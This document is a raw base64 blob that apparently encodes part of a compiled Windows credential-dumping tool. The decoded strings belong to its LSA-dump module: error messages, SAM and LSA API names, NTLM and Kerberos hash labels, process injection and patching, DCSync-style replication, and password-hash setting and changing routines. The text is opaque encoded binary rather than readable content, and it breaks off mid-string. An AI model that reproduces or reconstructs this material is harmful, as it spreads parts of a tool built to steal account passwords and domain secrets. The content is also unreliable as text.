MQApACEACgAAACAAIABNAHMAQwBhAGMAaABlAFYAMQAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGEAdABhADIAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQATgBMAEsATQBTAGUAYwByAGUAdABBAG4AZABDAGEAYwBoAGUAIAA7ACAAUgB0AGwARQBuAGMAcgB5AHAAdABEAGUAYwByAHkAcAB0AFIAQwA0ACAAOgAgADAAeAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABOAEwASwBNAFMAZQBjAHIAZQB0AEEAbgBkAEMAYQBjAGgAZQAgADsAIABrAHUAbABsAF8AbQBfAGMAcgB5AHAAdABvAF8AaABtAGEAYwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAVQBzAGUAcgAgACAAIAAgACAAIAA6ACAAJQB3AFoAXAAlAHcAWgAKAAAAAABNAHMAQwBhAGMAaABlAFYAJQBjACAAOgAgAAAAIAAgAFsAJQB1AF0AIAAlAHcAWgAAAAAACgAgACAAIAAgAEwATQA6ACAAAAAKACAAIABOAFQATABNADoAIAAAAAoAVQBuAGsAbgBvAHcAbgAgAHYAZQByAHMAaQBvAG4AOgAgACUAdQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABlAGMAcgB5AHAAdABTAEMAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGUAYwByAHkAcAB0AFMAQwBDAGEAYwBoAGUAIAA7ACAAQwByAHkAcAB0AEQAZQByAGkAdgBlAEsAZQB5ACgAUgBDADQAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABlAGMAcgB5AHAAdABTAEMAQwBhAGMAaABlACAAOwAgAEMAcgB5AHAAdABTAGkAZwBuAEgAYQBzAGgAKABkAGEAdABhACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAZQBjAHIAeQBwAHQAUwBDAEMAYQBjAGgAZQAgADsAIABDAHIAeQBwAHQAUwBpAGcAbgBIAGEAcwBoACgAaQBuAGkAdAApACAAKAAwAHgAJQAwADgAeAApAAoAAABPAGIAagBlAGMAdABOAGEAbQBlAAAAAAAgAC8AIABzAGUAcgB2AGkAYwBlACAAJwAlAHMAJwAgAHcAaQB0AGgAIAB1AHMAZQByAG4AYQBtAGUAIAA6ACAAJQAuACoAcwAAAAAAdABlAHgAdAA6ACAAJQB3AFoAAABoAGUAeAAgADoAIAAAAAAAJABNAEEAQwBIAEkATgBFAC4AQQBDAEMAAAAAAAoAIAAgACAAIABOAFQATABNADoAAAAAAAoAIAAgACAAIABTAEgAQQAxADoAAAAAAEQAUABBAFAASQBfAFMAWQBTAFQARQBNAAAAAAAKACAAIAAgACAAZgB1AGwAbAA6ACAAAAAKACAAIAAgACAAbQAvAHUAIAA6ACAAAAAgAC8AIAAAAE0AJABfAE0AUwBWADEAXwAwAF8AVABCAEEATABfAFAAUgBJAE0AQQBSAFkAXwAAACAAIAAgAFUAcwBlAHIAIAAgACAAOgAgACUALgAqAHMACgAgACAAIAAgAEQAbwBtAGEAaQBuACAAOgAgACUALgAqAHMAAAAAAAoAIAAgACAAIAAqACAATgBUAEwATQAgADoAIAAAAAAACgAgACAAIAAgACoAIABMAE0AIAAgACAAOgAgAAAAAAAKACAAIAAgACAAKgAgAFMASABBADEAIAA6ACAAAAAAAAoAIAAgACAAIAAqACAARABQAEEAUABJADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQARABlAGMAcgB5AHAAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAXwBhAGUAcwAyADUANgAgADsAIABDAHIAeQBwAHQAUwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGUAYwBfAGEAZQBzADIANQA2ACAAOwAgAGsAdQBsAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBoAGsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAG4AdABkAGwAbAAuAGQAbABsAAAAawBlAHIAbgBlAGwAMwAyAC4AZABsAGwAAAAAAFNhbUlDb25uZWN0AFNhbXJDbG9zZUhhbmRsZQBTYW1JUmV0cmlldmVQcmltYXJ5Q3JlZGVudGlhbHMAAFNhbXJPcGVuRG9tYWluAABTYW1yT3BlblVzZXIAAAAAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyAAAAAFNhbUlGcmVlX1NBTVBSX1VTRVJfSU5GT19CVUZGRVIAVmlydHVhbEFsbG9jAAAAAG1lbWNweQAATG9jYWxBbGxvYwAAcABhAHQAYwBoAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBsAHMAYQAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABWAGUAcgB5AEIAYQBzAGkAYwBNAG8AZAB1AGwAZQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABpAG4AagBlAGMAdAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBDAHIAZQBhAHQAZQBSAGUAbQBvAHQAZQBDAG8AZABlAFcAaQB0AHQAaABQAGEAdAB0AGUAcgBuAFIAZQBwAGwAYQBjAGUACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAJQB3AFoAIAAvACAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAASQBkAHMASQBuAEQAbwBtAGEAaQBuACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgACcAJQBzACcAIABpAHMAIABuAG8AdAAgAGEAIAB2AGEAbABpAGQAIABJAGQACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAIAA7ACAAUwBhAG0ATABvAG8AawB1AHAATgBhAG0AZQBzAEkAbgBEAG8AbQBhAGkAbgAgACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEUAbgB1AG0AZQByAGEAdABlAFUAcwBlAHIAcwBJAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAE8AcABlAG4ARABvAG0AYQBpAG4AIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhACAAOwAgAFMAYQBtAEMAbwBuAG4AZQBjAHQAIAAlADAAOAB4AAoAAABTAGEAbQBTAHMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwBnAGUAdABIAGEAbgBkAGwAZQAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAUgBJAEQAIAAgADoAIAAlADAAOAB4ACAAKAAlAHUAKQAKAFUAcwBlAHIAIAA6ACAAJQB3AFoACgAAAEwATQAgACAAIAA6ACAAAAAKAE4AVABMAE0AIAA6ACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGwAcwBhAF8AdQBzAGUAcgAgADsAIABTAGEAbQBRAHUAZQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbABzAGEAXwB1AHMAZQByACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgAgACUAMAA4AHgACgAAAFAAcgBpAG0AYQByAHkAAABDAEwARQBBAFIAVABFAFgAVAAAAFcARABpAGcAZQBzAHQAAABLAGUAcgBiAGUAcgBvAHMAAAAAAEsAZQByAGIAZQByAG8AcwAtAE4AZQB3AGUAcgAtAEsAZQB5AHMAAABOAFQATABNAC0AUwB0AHIAbwBuAGcALQBOAFQATwBXAEYAAAAgACAAIAAgAE4AVABMAE0AIAA6ACAAAAAKACAAIAAgACAATABNACAAIAAgADoAIAAAAAAAIAAgACAAIAAlAC4AKgBzAAoAAAAgACAAIAAgACUAMAAyAHUAIAAgAAAAAAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAIABTAGEAbAB0ACAAOgAgACUALgAqAHMACgAAAAAAQwByAGUAZABlAG4AdABpAGEAbABzAAAATwBsAGQAQwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAAAAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAAUwBhAGwAdAAgADoAIAAlAC4AKgBzAAoAIAAgACAAIABEAGUAZgBhAHUAbAB0ACAASQB0AGUAcgBhAHQAaQBvAG4AcwAgADoAIAAlAHUACgAAAAAAUwBlAHIAdgBpAGMAZQBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAAE8AbABkAGUAcgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAAAAAACAAIAAgACAAUgBhAG4AZABvAG0AIABWAGEAbAB1AGUAIAA6ACAAAAAgACAAIAAgACUAcwAKAAAAIAAgACAAIAAgACAAJQBzACAAOgAgAAAAIAAgACAAIAAgACAAJQBzACAAKAAlAHUAKQAgADoAIAAAAAAATgBPAE4ARQAgACAAIAAAAE4AVAA0AE8AVwBGACAAAABDAEwARQBBAFIAIAAgAAAAVgBFAFIAUwBJAE8ATgAAACAAWwAlAHMAXQAgACUAdwBaACAALQA+ACAAJQB3AFoACgAAACAAIAAgACAAKgAgAAAAAAB1AG4AawBuAG8AdwBuAD8AAAAAACAALQAgACUAcwAgAC0AIAAAAAAALQAgACUAdQAgAC0AIAAAAGwAcwBhAGQAYgAuAGQAbABsAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHQAcgB1AHMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAoAQwB1AHIAcgBlAG4AdAAgAGQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAKAEQAbwBtAGEAaQBuADoAIAAlAHcAWgAgACgAJQB3AFoAAAAgACAASQBuACAAAAAgAE8AdQB0ACAAAAAgAEkAbgAtADEAAABPAHUAdAAtADEAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB0AHIAdQBzAHQAIAA7ACAATABzAGEAUQB1AGUAcgB5AFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4ASQBuAGYAbwBCAHkATgBhAG0AZQAgACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdAByAHUAcwB0ACAAOwAgAEwAcwBhAEUAbgB1AG0AZQByAGEAdABlAFQAcgB1AHMAdABlAGQARABvAG0AYQBpAG4AcwBFAHgAIAAlADAAOAB4AAoAAAAgACAAKgAgAFIAUwBBACAAawBlAHkACgAAAAAAbgB0AGQAcwAAAAAACQBQAEYAWAAgAGMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzACAALQAgACcAJQBzACcACgAAAAAAIAAgACoAIABMAGUAZwBhAGMAeQAgAGsAZQB5AAoAAABsAGUAZwBhAGMAeQAAAAAAAAAAACAAIAAqACAAVQBuAGsAbgBvAHcAbgAgAGsAZQB5ACAAKABzAGUAZQBuACAAYQBzACAAJQAwADgAeAApAAoAAAAJAEUAeABwAG8AcgB0ACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAKAAAAAABHACQAQgBDAEsAVQBQAEsARQBZAF8AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASwBlAHkARgByAG8AbQBHAFUASQBEACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAHMAZQBjAHIAZQB0AAAAAAAgAHMAZQBlAG0AcwAgAHQAbwAgAGIAZQAgAGEAIAB2AGEAbABpAGQAIABHAFUASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAEkAbgB2AGEAbABpAGQAIABHAFUASQBEACAAKAAwAHgAJQAwADgAeAApACAAOwAgACUAcwAKAAAACgBDAHUAcgByAGUAbgB0ACAAcAByAGUAZgBlAHIAZQBkACAAawBlAHkAOgAgACAAIAAgACAAIAAgAAAARwAkAEIAQwBLAFUAUABLAEUAWQBfAFAAUgBFAEYARQBSAFIARQBEAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBiAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAEwAcwBhAFIAZQB0AHIAaQBlAHYAZQBQAHIAaQB2AGEAdABlAEQAYQB0AGEAOgAgADAAeAAlADAAOAB4AAoAAAAAAAoAQwBvAG0AcABhAHQAaQBiAGkAbABpAHQAeQAgAHAAcgBlAGYAZQByAGUAZAAgAGsAZQB5ADoAIAAAAEcAJABCAEMASwBVAFAASwBFAFkAXwBQAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwByAHAAZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBMAHMAYQBSAGUAdAByAGkAZQB2AGUAUAByAGkAdgBhAHQAZQBEAGEAdABhADoAIAAwAHgAJQAwADgAeAAKAAAAAABhAGMAYwBvAHUAbgB0AAAAYwBvAG0AcAB1AHQAZQByAAAAAAAgACAAQQBjAGMAbwB1AG4AdAA6ACAAJQBzAAoAAAAAACAAIABOAFQATABNACAAIAAgADoAIAAAACAAIABOAFQATABNAC0AMQAgADoAIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAASQBfAE4AZQB0AFMAZQByAHYAZQByAFQAcgB1AHMAdABQAGEAcwBzAHcAbwByAGQAcwBHAGUAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAAUwBlAHIAdgBlAHIAQwByAGUAZABlAG4AdABpAGEAbAAgAGQAbwBlAHMAIABuAG8AdAAgAG0AYQB0AGMAaAAgAEMAYQBuAGQAaQBkAGEAdABlAFMAZQByAHYAZQByAEMAcgBlAGQAZQBuAHQAaQBhAGwACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAEkAXwBOAGUAdABTAGUAcgB2AGUAcgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAZQAyACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABJAF8ATgBlAHQAUwBlAHIAdgBlAHIAUgBlAHEAQwBoAGEAbABsAGUAbgBnAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAAbgB0AGwAbQAgAGgAYQBzAGgALwByAGMANAAgAGsAZQB5ACAAbABlAG4AZwB0AGgAIABtAHUAcwB0ACAAYgBlACAAMwAyACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBuAGUAdABzAHkAbgBjACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHIAZwB1AG0AZQBuAHQAIAA6ACAAbgB0AGwAbQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AbgBlAHQAcwB5AG4AYwAgADsAIABNAGkAcwBzAGkAbgBnACAAYQByAGcAdQBtAGUAbgB0ACAAOgAgAHUAcwBlAHIACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAG4AZQB0AHMAeQBuAGMAIAA7ACAATQBpAHMAcwBpAG4AZwAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABkAGMACgAAAAAAAAAKAD4APgAgAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzACAAYQByAGUAIABpAG4AIAB0AGgAZQAgAHQAYQByAGcAZQB0ACAAUwBBAE0AIQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAHQAbgB0AGwAbQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABTAGEAbQBTAGUAdABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AVQBzAGUAcgA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAHQAbgB0AGwAbQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGQAaQBnAGUAcwB0ACAATgBUAEwATQAgAGgAYQBzAGgAIABmAHIAbwBtACAAcABhAHMAcwB3AG8AcgBkADoAIAAlADAAOAB4AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQB0AG4AdABsAG0AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAG8AbgB2AGUAcgB0ACAAJwAlAHMAJwAgAHQAbwAgAE4AVABMAE0AIABoAGEAcwBoACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAqACoAIABOAG8AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAIABwAHIAbwB2AGkAZABlAGQALAAgAHcAaQBsAGwAIAB1AHMAZQAgAHQAaABlACAAZABlAGYAYQB1AGwAdAAgAG8AbgBlACAAKgAqAAoAAAAAAE4AVABMAE0AIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAoAPgA+ACAAQwBoAGEAbgBnAGUAIABwAGEAcwBzAHcAbwByAGQAIABpAHMAIABhACAAcwB1AGMAYwBlAHMAcwAhAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMAaABhAG4AZwBlAG4AdABsAG0AXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAQgBhAGQAIABvAGwAZAAgAE4AVABMAE0AIABoAGEAcwBoACAAbwByACAAcABhAHMAcwB3AG8AcgBkACEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQBfAGMAYQBsAGwAYgBhAGMAawAgADsAIABCAGEAZAAgAG4AZQB3ACAATgBUAEwATQAgAGgAYQBzAGgAIABvAHIAIABwAGEAcwBzAHcAbwByAGQAIQAgACgAcgBlAHMAdAByAGkAYwB0AGkAbwBuACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMAaABhAG4AZwBlAG4AdABsAG0AXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAUwBhAG0AaQBDAGgAYQBuAGcAZQBQAGEAcwBzAHcAbwByAGQAVQBzAGUAcgA6ACAAJQAwADgAeAAKAAAAAABvAGwAZABwAGEAcwBzAHcAbwByAGQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGQAaQBnAGUAcwB0ACAATgBUAEwATQAgAGgAYQBzAGgAIABmAHIAbwBtACAAbwBsAGQAIABwAGEAcwBzAHcAbwByAGQAOgAgACUAMAA4AHgACgAAAG8AbABkAG4AdABsAG0AAABvAGwAZAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBjAGgAYQBuAGcAZQBuAHQAbABtACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAYwBvAG4AdgBlAHIAdAAgACcAJQBzACcAIAB0AG8AIABvAGwAZAAgAE4AVABMAE0AIABoAGEAcwBoACAAKAAxADYAIABiAHkAdABlAHMAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMAaABhAG4AZwBlAG4AdABsAG0AIAA7ACAAQQByAGcAdQBtAGUAbgB0ACAALwBvAGwAZABwAGEAcwBzAHcAbwByAGQAOgAgAG8AcgAgAC8AbwBsAGQAbgB0AGwAbQA6ACAAaQBzACAAbgBlAGUAZABlAGQACgAAAAAAbgBlAHcAcABhAHMAcwB3AG8AcgBkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGMAaABhAG4AZwBlAG4AdABsAG0AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABkAGkAZwBlAHMAdAAgAE4AVABMAE0AIABoAGEAcwBoACAAZgByAG8AbQAgAG4AZQB3ACAAcABhAHMAcwB3AG8AcgBkADoAIAAlADAAOAB4AAoAAABuAGUAdwBuAHQAbABtAAAAbgBlAHcAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AYwBoAGEAbgBnAGUAbgB0AGwAbQAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAGMAbwBuAHYAZQByAHQAIAAnACUAcwAnACAAdABvACAAbgBlAHcAIABOAFQATABNACAAaABhAHMAaAAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAAAAAAAAqACoAIABOAG8AIABuAGUAdwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAHAAcgBvAHYAaQBkAGUAZAAsACAAdwBpAGwAbAAgAHUAcwBlACAAdABoAGUAIABkAGUAZgBhAHUAbAB0ACAAbwBuAGUAIAAqACoACgAAAAAATwBMAEQAIABOAFQATABNACAAIAAgACAAIAA6ACAAAAAKAE4ARQBXACAATgBUAEwATQAgACAAIAAgACAAOgAgAAAAAABUAGEAcgBnAGUAdAAgAHMAZQByAHYAZQByADoAIAAlAHcAWgAKAAAAVABhAHIAZwBlAHQAIAB1AHMAZQByACAAIAA6ACAAJQB3AFoACgAAAHIAaQBkAAAAVABhAHIAZwBlAHQAIABSAEkARAAgACAAIAA6ACAAJQB1AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGUAbgB1AG0AZABvAG0AYQBpAG4AcwBfAHUAcwBlAHIAcwAgADsAIAAvAHUAcwBlAHIAIABvAHIAIAAvAHIAaQBkACAAaQBzACAAbgBlAGUAZABlAGQACgAAAEQAbwBtAGEAaQBuACAAbgBhAG0AZQAgACAAOgAgACUAdwBaAAoAAABEAG8AbQBhAGkAbgAgAFMASQBEACAAIAAgADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBlAG4AdQBtAGQAbwBtAGEAaQBuAHMAXwB1AHMAZQByAHMAXwBkAGEAdABhACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAE4AYQBtAGUAcwBJAG4ARABvAG0AYQBpAG4AOgAgACUAMAA4AHgACgAAAFUAcwBlAHIAIABSAEkARAAgACAAIAAgACAAOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBlAG4AdQBtAGQAbwBtAGEAaQBuAHMAXwB1AHMAZQByAHMAXwBkAGEAdABhACAAOwAgAFMAYQBtAE8AcABlAG4AVQBzAGUAcgA6ACAAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZQBuAHUAbQBkAG8AbQBhAGkAbgBzAF8AdQBzAGUAcgBzAF8AZABhAHQAYQAgADsAIABOAG8AIABSAEkARAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGUAbgB1AG0AZABvAG0AYQBpAG4AcwBfAHUAcwBlAHIAcwBfAGQAYQB0AGEAIAA7ACAAUwBhAG0ATwBwAGUAbgBEAG8AbQBhAGkAbgA6ACAAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBlAG4AdQBtAGQAbwBtAGEAaQBuAHMAXwB1AHMAZQByAHMAXwBkAGEAdABhACAAOwAgAFMAYQBtAEwAbwBvAGsAdQBwAEQAbwBtAGEAaQBuAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZQBuAHUAbQBkAG8AbQBhAGkAbgBzAF8AdQBzAGUAcgBzAF8AZABhAHQAYQAgADsAIABTAGEAbQBFAG4AdQBtAGUAcgBhAHQAZQBEAG8AbQBhAGkAbgBzAEkAbgBTAGEAbQBTAGUAcgB2AGUAcgA6ACAAJQAwADgAeAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZQBuAHUAbQBkAG8AbQBhAGkAbgBzAF8AdQBzAGUAcgBzAF8AZABhAHQAYQAgADsAIABTAGEAbQBDAG8AbgBuAGUAYwB0ADoAIAAlADAAOAB4AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBlAG4AdQBtAGQAbwBtAGEAaQBuAHMAXwB1AHMAZQByAHMAXwBkAGEAdABhACAAOwAgAHUAcwBl